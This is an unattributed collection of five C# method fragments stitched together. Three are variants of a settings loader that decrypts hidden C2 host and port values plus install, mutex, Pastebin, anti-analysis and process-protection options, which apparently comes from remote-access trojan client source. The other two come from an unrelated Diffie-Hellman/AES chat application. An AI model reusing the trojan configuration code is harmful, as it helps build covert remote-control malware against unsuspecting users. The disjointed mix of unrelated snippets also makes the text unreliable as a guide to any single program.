public static bool InitializeSettings() { #if DEBUG return(true); #endif try { Key = Encoding.UTF8.GetString(Convert.FromBase64String(Key)); aes256 = new Aes256(Key); Ports = aes256.Decrypt(Ports); Hosts = aes256.Decrypt(Hosts); Version = aes256.Decrypt(Version); Install = aes256.Decrypt(Install); MTX = aes256.Decrypt(MTX); Pastebin = aes256.Decrypt(Pastebin); Anti = aes256.Decrypt(Anti); BDOS = aes256.Decrypt(BDOS); Group = aes256.Decrypt(Group); Hwid = HwidGen.HWID(); Serversignature = aes256.Decrypt(Serversignature); ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate))); return(VerifyHash()); } catch { return(false); } }
public void encryptmess(string mess) { if (mess.Length > 0) { md5 md5 = new md5(); listBoxclient.Items.Add("Me: " + mess); Aes256 aes256 = new Aes256(); SHA256 sha256 = SHA256Managed.Create(); byte[] mess1 = Encoding.UTF8.GetBytes(mess); byte[] key1 = sha256.ComputeHash(Encoding.ASCII.GetBytes(Convert.ToString(dh.Key_Chung))); txtkey.Text = Convert.ToBase64String(key1); string ivc = getdatime(); byte[] iv = create_init_vector(ivc); txtiv.Text = Convert.ToBase64String(iv); byte[] dayhash = sha256.ComputeHash(Encoding.ASCII.GetBytes(ivc)); string encrypt = aes256.EncryptString(mess1, key1, iv, dayhash); string[] enc1 = encrypt.Split(';'); string mess_md5 = md5.GetMD5(enc1[0] + Convert.ToString(dh.Key_Chung)); string messsend = "Receive;" + encrypt + ";" + ivc + ";" + mess_md5; //string[] s1 = messsend.Split(';'); //textBoxmessnoise.Text = s1[1].ToString() + ";" + s1[2].ToString() + ";" + s1[3].ToString(); txtmessnoise.Text = messsend; senddata(messsend); } }
public void decrypt_mess(string[] mess) { Aes256 aes256 = new Aes256(); string encrypt = mess[1]; string ivc = mess[3]; int count = Convert.ToInt32(mess[2]); iv = create_init_vector(ivc); txtiv.Text = Convert.ToBase64String(iv); string decrypt = aes256.DecryptString(encrypt, key, iv, count); MessageList(Convert.ToString(decrypt), "Server"); timer1.Enabled = true; timer1.Start(); }
public static bool InitializeSettings() { #if DEBUG return(true); #endif try { Password = Encoding.UTF8.GetString(Convert.FromBase64String(Password)); aes256 = new Aes256(Password); Ports = aes256.Decrypt(Ports); Host = aes256.Decrypt(Host); return(true); } catch { return(false); } }
public static bool InitializeSettings() { #if DEBUG return(true); #endif try { Key = Encoding.UTF8.GetString(Convert.FromBase64String(Key)); aes256 = new Aes256(Key); Ports = aes256.Decrypt(Ports); Hosts = aes256.Decrypt(Hosts); Serversignature = aes256.Decrypt(Serversignature); ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate))); return(VerifyHash()); } catch { return(false); } }